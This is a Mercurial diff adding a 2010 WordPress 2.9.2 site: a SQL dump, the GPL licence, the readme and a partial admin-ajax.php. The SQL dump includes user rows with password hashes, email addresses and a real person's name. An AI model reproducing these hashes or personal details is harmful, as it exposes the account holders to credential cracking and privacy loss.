DELAYED IGNORE INTO `wp_term_taxonomy` (`term_taxonomy_id`, `term_id`, `taxonomy`, `description`, `parent`, `count`) VALUES +(1, 1, 'category', '', 0, 0), +(2, 2, 'link_category', '', 0, 7), +(3, 3, 'category', '', 0, 1), +(4, 4, 'category', '', 0, 1), +(5, 5, 'category', '', 0, 1); + +-- -------------------------------------------------------- + +-- +-- Structure de la table `wp_usermeta` +-- + +DROP TABLE IF EXISTS `wp_usermeta`; +CREATE TABLE IF NOT EXISTS `wp_usermeta` ( + `umeta_id` bigint(20) unsigned NOT NULL auto_increment, + `user_id` bigint(20) unsigned NOT NULL default '0', + `meta_key` varchar(255) default NULL, + `meta_value` longtext, + PRIMARY KEY (`umeta_id`), + KEY `user_id` (`user_id`), + KEY `meta_key` (`meta_key`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=19 ; + +-- +-- Contenu de la table `wp_usermeta` +-- + +INSERT DELAYED IGNORE INTO `wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES +(1, 1, 'nickname', 'admin'), +(2, 1, 'rich_editing', 'true'), +(3, 1, 'comment_shortcuts', 'false'), +(4, 1, 'admin_color', 'fresh'), +(5, 1, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'), +(8, 1, 'wp_autosave_draft_ids', 'a:7:{i:-1268385537;i:3;i:-1268385812;i:6;i:-1268385893;i:9;i:-1268389931;i:19;i:-1268390543;i:23;i:-1268391673;i:24;i:-1268392024;i:27;}'), +(7, 1, 'wp_user_level', '10'), +(9, 1, 'wp_usersettings', 'editor=html'), +(10, 1, 'wp_usersettingstime', '1268396400'), +(11, 2, 'first_name', 'Yves-Marie'), +(12, 2, 'last_name', 'L''Hour'), +(13, 2, 'nickname', 'ymlh'), +(14, 2, 'rich_editing', 'true'), +(15, 2, 'comment_shortcuts', 'false'), +(16, 2, 'admin_color', 'fresh'), +(17, 2, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'), +(18, 2, 'wp_user_level', '10'); + +-- -------------------------------------------------------- + +-- +-- Structure de la table `wp_users` +-- + +DROP TABLE IF EXISTS `wp_users`; +CREATE TABLE IF NOT EXISTS `wp_users` ( + `ID` bigint(20) unsigned NOT NULL auto_increment, + `user_login` varchar(60) NOT NULL default '', + `user_pass` varchar(64) NOT NULL default '', + `user_nicename` varchar(50) NOT NULL default '', + `user_email` varchar(100) NOT NULL default '', + `user_url` varchar(100) NOT NULL default '', + `user_registered` datetime NOT NULL default '0000-00-00 00:00:00', + `user_activation_key` varchar(60) NOT NULL default '', + `user_status` int(11) NOT NULL default '0', + `display_name` varchar(250) NOT NULL default '', + PRIMARY KEY (`ID`), + KEY `user_login_key` (`user_login`), + KEY `user_nicename` (`user_nicename`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=3 ; + +-- +-- Contenu de la table `wp_users` +-- + +INSERT DELAYED IGNORE INTO `wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES +(1, 'admin', '$P$BmCv2eJA4DZAQD1LJK7PUP85I91vm//', 'admin', 'admin@cybunk.com', '', '2010-03-12 08:51:22', '', 0, 'admin'), +(2, 'ymlh', '$P$BHcdw18xlD8OKqjgdt9QM2JYwcLtEq0', 'ymlh', 'yvesmarielhour@gmail.com', 'http://www.iri.centrepompidou.fr', '2010-03-12 11:30:02', '', 0, 'ymlh'); + +SET FOREIGN_KEY_CHECKS=1; + +COMMIT; diff -r 0d9a58d2c515 -r 0d28b7c10758 web/index.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/index.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,18 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/license.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/license.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,281 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc. + 51 Franklin St, Fifth Floor, Boston, MA 02110, USA + + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Library General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/readme.html --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/readme.html Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,91 @@ + + + + + WordPress › ReadMe + + + +

+ WordPress +
Version 2.9.2 +

+

Semantic Personal Publishing Platform

+ +

First Things First

+

Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.

+

— Matt Mullenweg

+ +

Installation: Famous 5-minute install

+
    +
  1. Unzip the package in an empty directory.
  2. +
  3. Open up wp-config-sample.php with a text editor like WordPad or similar and fill in your database connection details.
  4. +
  5. Save the file as wp-config.php
  6. +
  7. Upload everything.
  8. +
  9. Open /wp-admin/install.php in your browser. This should setup the tables needed for your blog. If there is an error, double check your wp-config.php file, and try again. If it fails again, please go to the support forums with as much data as you can gather.
  10. +
  11. Note the password given to you.
  12. +
  13. The install script should then send you to the login page. Sign in with the username admin and the password generated during the installation. You can then click on 'Profile' to change the password.
  14. +
+ +

Upgrading

+

Before you upgrade anything, make sure you have backup copies of any files you may have modified such as index.php.

+

Upgrading from any previous WordPress to 2.9.2:

+
    +
  1. Delete your old WP files, saving ones you've modified.
  2. +
  3. Upload the new files.
  4. +
  5. Point your browser to /wp-admin/upgrade.php.
  6. +
  7. You wanted more, perhaps? That's it!
  8. +
+

Template Changes

+

If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, we've created a special guide for you.

+ +

Online Resources

+

If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:

+
+
The WordPress Codex
+
The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.
+
The Development Blog
+
This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.
+
WordPress Planet
+
The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.
+
WordPress Support Forums
+
If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.
+
WordPress IRC Channel
+
Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpress)
+
+ +

System Recommendations

+ +

WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the WordPress developers. If you would like to support WordPress, please consider donating.

+ +

Upgrading from another system

+

WordPress can import from a number of systems. First you need to get WordPress installed and working as described above.

+ +

XML-RPC and Atom Interface

+

You can now post to your WordPress blog with tools like Windows Live Writer, Ecto, Bloggar, Radio Userland (which means you can use Radio's email-to-blog feature), NewzCrawler, and other tools that support the Blogging APIs! :) You can read more about XML-RPC support on the Codex.

+ +

Post via Email

+

You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up wp-mail.php to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your wp-mail.php URL.

+

Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will delete emails that are successfully posted.

+ +

User Roles

+

We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can read more about Roles and Capabilities on the Codex.

+ +

Final notes

+ + +

Share the Love

+

WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.

+ +

Copyright

+

WordPress is released under the GPL (see license.txt).

+ + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/version.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/version.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,2 @@ +ALERT: You are logged out! Could not save draft. Please log in again.'), wp_login_url() ); + $x = new WP_Ajax_Response( array( + 'what' => 'autosave', + 'id' => $id, + 'data' => $message + ) ); + $x->send(); + } + + if ( !empty( $_REQUEST['action']) ) + do_action( 'wp_ajax_nopriv_' . $_REQUEST['action'] ); + + die('-1'); +} + +if ( isset( $_GET['action'] ) ) : +switch ( $action = $_GET['action'] ) : +case 'ajax-tag-search' : + if ( !current_user_can( 'edit_posts' ) ) + die('-1'); + + $s = $_GET['q']; // is this slashed already? + + if ( isset($_GET['tax']) ) + $taxonomy = sanitize_title($_GET['tax']); + else + die('0'); + + if ( false !== strpos( $s, ',' ) ) { + $s = explode( ',', $s ); + $s = $s[count( $s ) - 1]; + } + $s = trim( $s ); + if ( strlen( $s ) < 2 ) + die; // require 2 chars for matching + + $results = $wpdb->get_col( "SELECT t.name FROM $wpdb->term_taxonomy AS tt INNER JOIN $wpdb->terms AS t ON tt.term_id = t.term_id WHERE tt.taxonomy = '$taxonomy' AND t.name LIKE ('%" . $s . "%')" ); + + echo join( $results, "\n" ); + die; + break; +case 'wp-compression-test' : + if ( !current_user_can( 'manage_options' ) ) + die('-1'); + + if ( ini_get('zlib.output_compression') || 'ob_gzhandler' == ini_get('output_handler') ) { + update_site_option('can_compress_scripts', 0); + die('0'); + } + + if ( isset($_GET['test']) ) { + header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' ); + header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' ); + header( 'Cache-Control: no-cache, must-revalidate, max-age=0' ); + header( 'Pragma: no-cache' ); + header('Content-Type: application/x-javascript; charset=UTF-8'); + $force_gzip = ( defined('ENFORCE_GZIP') && ENFORCE_GZIP ); + $test_str = '"wpCompressionTest Lorem ipsum dolor sit amet consectetuer mollis sapien urna ut a. Eu nonummy condimentum fringilla tempor pretium platea vel nibh netus Maecenas. Hac molestie amet justo quis pellentesque est ultrices interdum nibh Morbi. Cras mattis pretium Phasellus ante ipsum ipsum ut sociis Suspendisse Lorem. Ante et non molestie. Porta urna Vestibulum egestas id congue nibh eu risus gravida sit. Ac augue auctor Ut et non a elit massa id sodales. Elit eu Nulla at nibh adipiscing mattis lacus mauris at tempus. Netus nibh quis suscipit nec feugiat eget sed lorem et urna. Pellentesque lacus at ut massa consectetuer ligula ut auctor semper Pellentesque. Ut metus massa nibh quam Curabitur molestie nec mauris congue. Volutpat molestie elit justo facilisis neque ac risus Ut nascetur tristique. Vitae sit lorem tellus et quis Phasellus lacus tincidunt nunc Fusce. Pharetra wisi Suspendisse mus sagittis libero lacinia Integer consequat ac Phasellus. Et urna ac cursus tortor aliquam Aliquam amet tellus volutpat Vestibulum. Justo interdum condimentum In augue congue tellus sollicitudin Quisque quis nibh."'; + + if ( 1 == $_GET['test'] ) { + echo $test_str; + die; + } elseif ( 2 == $_GET['test'] ) { + if ( !isset($_SERVER['HTTP_ACCEPT_ENCODING']) ) + die('-1'); + if ( false !== strpos( strtolower($_SERVER['HTTP_ACCEPT_ENCODING']), 'deflate') && function_exists('gzdeflate') && ! $force_gzip ) { + header('Content-Encoding: deflate'); + $out = gzdeflate( $test_str, 1 ); + } elseif ( false !== strpos( strtolower($_SERVER['HTTP_ACCEPT_ENCODING']), 'gzip') && function_exists('gzencode') ) { + header('Content-Encoding: gzip'); + $out = gzencode( $test_str, 1 ); + } else { + die('-1'); + } + echo $out; + die; + } elseif ( 'no' == $_GET['test'] ) { + update_site_option('can_compress_scripts', 0); + } elseif ( 'yes' == $_GET['test'] ) { + update_site_option('can_compress_scripts', 1); + } + } + + die('0'); + break; +case 'imgedit-preview' : + $post_id = intval($_GET['postid']); + if ( empty($post_id) || !current_user_can('edit_post', $post_id) ) + die('-1'); + + check_ajax_referer( "image_editor-$post_id" ); + + include_once( ABSPATH . 'wp-admin/includes/image-edit.php' ); + if ( !stream_preview_image($post_id) ) + die('-1'); + + die(); + break; +case 'oembed-cache' : + $return = ( $wp_embed->cache_oembed( $_GET['post'] ) ) ? '1' : '0'; + die( $return ); + break; +default : + do_action( 'wp_ajax_' . $_GET['action'] ); + die('0'); + break; +endswitch; +endif; + +/** + * Sends back current comment total and new page links if they need to be updated. + * + * Contrary to normal success AJAX response ("1"), die with time() on success. + * + * @since 2.7 + * + * @param int $comment_id + * @return die + */ +function _wp_ajax_delete_comment_response( $comment_id ) { + $total = (int) @$_POST['_total']; + $per_page = (int) @$_POST['_per_page']; + $page = (int) @$_POST['_page']; + $url = esc_url_raw( @$_POST['_url'] ); + // JS didn't send us everything we need to know. Just die with success message + if ( !$total || !$per_page || !$page || !$url ) + die( (string) time() ); + + if ( --$total < 0 ) // Take the total from POST and decrement it (since we just deleted one) + $total = 0; + + if ( 0 != $total % $per_page && 1 != mt_rand( 1, $per_page ) ) // Only do the expensive stuff on a page-break, and about 1 other time per page + die( (string) time() ); + + $post_id = 0; + $status = 'total_comments'; // What type of comment count are we looking for? + $parsed = parse_url( $url ); + if ( isset( $parsed['query'] ) ) { + parse_str( $parsed['query'], $query_vars ); + if ( !empty( $query_vars['comment_status'] ) ) + $status = $query_vars['comment_status']; + if ( !empty( $query_vars['p'] ) ) + $post_id = (int) $query_vars['p']; + } + + $comment_count = wp_count_comments($post_id); + $time = time(); // The time since the last comment count + + if ( isset( $comment_count->$status ) ) // We're looking for a known type of comment count + $total = $comment_count->$status; + // else use the decremented value from above + + $page_links = paginate_links( array( + 'base' => add_query_arg( 'apage', '%#%', $url ), + 'format' => '', + 'prev_text' => __('«'), + 'next_text' => __('»'), + 'total' => ceil($total / $per_page), + 'current' => $page + ) ); + $x = new WP_Ajax_Response( array( + 'what' => 'comment', + 'id' => $comment_id, // here for completeness - not used + 'supplemental' => array( + 'pageLinks' => $page_links, + 'total' => $total, + 'time' => $time + ) + ) ); + $x->send(); +} + +$id = isset($_POST['id'])? (int) $_POST['id'] : 0; +switch ( $action = $_POST['action'] ) : +case 'delete-comment' : // On success, die with time() instead of 1 + if ( !$comment = get_comment( $id ) ) + die( (string) time() ); + if ( !current_user_can( 'edit_post', $comment->comment_post_ID ) ) + die('-1'); + + check_ajax_referer( "delete-comment_$id" ); + $status = wp_get_comment_status( $comment->comment_ID ); + + if ( isset($_POST['trash']) && 1 == $_POST['trash'] ) { + if ( 'trash' == $status ) + die( (string) time() ); + $r = wp_trash_comment( $comment->comment_ID ); + } elseif ( isset($_POST['untrash']) && 1 == $_POST['untrash'] ) { + if ( 'trash' != $status ) + die( (string) time() ); + $r = wp_untrash_comment( $comment->comment_ID ); + } elseif ( isset($_POST['spam']) && 1 == $_POST['spam'] ) { + if ( 'spam' == $status ) + die( (string) time() ); + $r = wp_spam_comment( $comment->comment_ID ); + } elseif ( isset($_POST['unspam']) && 1 == $_POST['unspam'] ) { + if ( 'spam' != $status ) + die( (string) time() ); + $r = wp_unspam_comment( $comment->comment_ID ); + } elseif ( isset($_POST['delete']) && 1 == $_POST['delete'] ) { + $r = wp_delete_comment( $comment->comment_ID ); + } else { + die('-1'); + } + + if ( $r ) // Decide if we need to send back '1' or a more complicated response including page links and comment counts + _wp_ajax_delete_comment_response( $comment->comment_ID ); + die( '0' ); + break; +case 'delete-cat' : + check_ajax_referer( "delete-category_$id" ); + if ( !current_user_can( 'manage_categories' ) ) + die('-1'); + + $cat = get_category( $id ); + if ( !$cat || is_wp_error( $cat ) ) + die('1'); + + if ( wp_delete_category( $id ) ) + die('1'); + else + die('0'); + break; +case 'delete-tag' : + $tag_id = (int) $_POST['tag_ID']; + check_ajax_referer( "delete-tag_$tag_id" ); + if ( !current_user_can( 'manage_categories' ) ) + die('-1'); + + $taxonomy = !empty($_POST['taxonomy']) ? $_POST['taxonomy'] : 'post_tag'; + + $tag = get_term( $tag_id, $taxonomy ); + if ( !$tag || is_wp_error( $tag ) ) + die('1'); + + if ( wp_delete_term($tag_id, $taxonomy)) + die('1'); + else + die('0'); + break; +case 'delete-link-cat' : + check_ajax_referer( "delete-link-category_$id" ); + if ( !current_user_can( 'manage_categories' ) ) + die('-1'); + + $cat = get_term( $id, 'link_category' ); + if ( !$cat || is_wp_error( $cat ) ) + die('1'); + + $cat_name = get_term_field('name', $id, 'link_category'); + + $default = get_option('default_link_category'); + + // Don't delete the default cats. + if ( $id == $default ) { + $x = new WP_AJAX_Response( array( + 'what' => 'link-cat', + 'id' => $id, + 'data' => new WP_Error( 'default-link-cat', sprintf(__("Can’t delete the %s category: this is the default one"), $cat_name) ) + ) ); + $x->send(); + } + + $r = wp_delete_term($id, 'link_category', array('default' => $default)); + if ( !$r ) + die('0'); + if ( is_wp_error($r) ) { + $x = new WP_AJAX_Response( array( + 'what' => 'link-cat', + 'id' => $id, + 'data' => $r + ) ); + $x->send(); + } + die('1'); + break; +case 'delete-link' : + check_ajax_referer( "delete-bookmark_$id" ); + if ( !current_user_can( 'manage_links' ) ) + die('-1'); + + $link = get_bookmark( $id ); + if ( !$link || is_wp_error( $link ) ) + die('1'); + + if ( wp_delete_link( $id ) ) + die('1'); + else + die('0'); + break; +case 'delete-meta' : + check_ajax_referer( "delete-meta_$id" ); + if ( !$meta = get_post_meta_by_id( $id ) ) + die('1'); + + if ( !current_user_can( 'edit_post', $meta->post_id ) ) + die('-1'); + if ( delete_meta( $meta->meta_id ) ) + die('1'); + die('0'); + break; +case 'delete-post' : + check_ajax_referer( "{$action}_$id" ); + if ( !current_user_can( 'delete_post', $id ) ) + die('-1'); + + if ( !get_post( $id ) ) + die('1'); + + if ( wp_delete_post( $id ) ) + die('1'); + else + die('0'); + break; +case 'trash-post' : +case 'untrash-post' : + check_ajax_referer( "{$action}_$id" ); + if ( !current_user_can( 'delete_post', $id ) ) + die('-1'); + + if ( !get_post( $id ) ) + die('1'); + + if ( 'trash-post' == $action ) + $done = wp_trash_post( $id ); + else + $done = wp_untrash_post( $id ); + + if ( $done ) + die('1'); + + die('0'); + break; +case 'delete-page' : + check_ajax_referer( "{$action}_$id" ); + if ( !current_user_can( 'delete_page', $id ) ) + die('-1'); + + if ( !get_page( $id ) ) + die('1'); + + if ( wp_delete_post( $id ) ) + die('1'); + else + die('0'); + break; +case 'dim-comment' : // On success, die with time() instead of 1 + + if ( !$comment = get_comment( $id ) ) { + $x = new WP_Ajax_Response( array( + 'what' => 'comment', + 'id' => new WP_Error('invalid_comment', sprintf(__('Comment %d does not exist'), $id)) + ) ); + $x->send(); + } + + if ( !current_user_can( 'edit_post', $comment->comment_post_ID ) && !current_user_can( 'moderate_comments' ) ) + die('-1'); + + $current = wp_get_comment_status( $comment->comment_ID ); + if ( $_POST['new'] == $current ) + die( (string) time() ); + + check_ajax_referer( "approve-comment_$id" ); + if ( in_array( $current, array( 'unapproved', 'spam' ) ) ) + $result = wp_set_comment_status( $comment->comment_ID, 'approve', true ); + else + $result = wp_set_comment_status( $comment->comment_ID, 'hold', true ); + + if ( is_wp_error($result) ) { + $x = new WP_Ajax_Response( array( + 'what' => 'comment', + 'id' => $result + ) ); + $x->send(); + } + + // Decide if we need to send back '1' or a more complicated response including page links and comment counts + _wp_ajax_delete_comment_response( $comment->comment_ID ); + die( '0' ); + break; +case 'add-category' : // On the Fly + check_ajax_referer( $action ); + if ( !current_user_can( 'manage_categories' ) ) + die('-1'); + $names = explode(',', $_POST['newcat']); + if ( 0 > $parent = (int) $_POST['newcat_parent'] ) + $parent = 0; + $post_category = isset($_POST['post_category'])? (array) $_POST['post_category'] : array(); + $checked_categories = array_map( 'absint', (array) $post_category ); + $popular_ids = wp_popular_terms_checklist('category', 0, 10, false); + + foreach ( $names as $cat_name ) { + $cat_name = trim($cat_name); + $category_nicename = sanitize_title($cat_name); + if ( '' === $category_nicename ) + continue; + $cat_id = wp_create_category( $cat_name, $parent ); + $checked_categories[] = $cat_id; + if ( $parent ) // Do these all at once in a second + continue; + $category = get_category( $cat_id ); + ob_start(); + wp_category_checklist( 0, $cat_id, $checked_categories, $popular_ids ); + $data = ob_get_contents(); + ob_end_clean(); + $add = array( + 'what' => 'category', + 'id' => $cat_id, + 'data' => str_replace( array("\n", "\t"), '', $data), + 'position' => -1 + ); + } + if ( $parent ) { // Foncy - replace the parent and all its children + $parent = get_category( $parent ); + $term_id = $parent->term_id; + + while ( $parent->parent ) { // get the top parent + 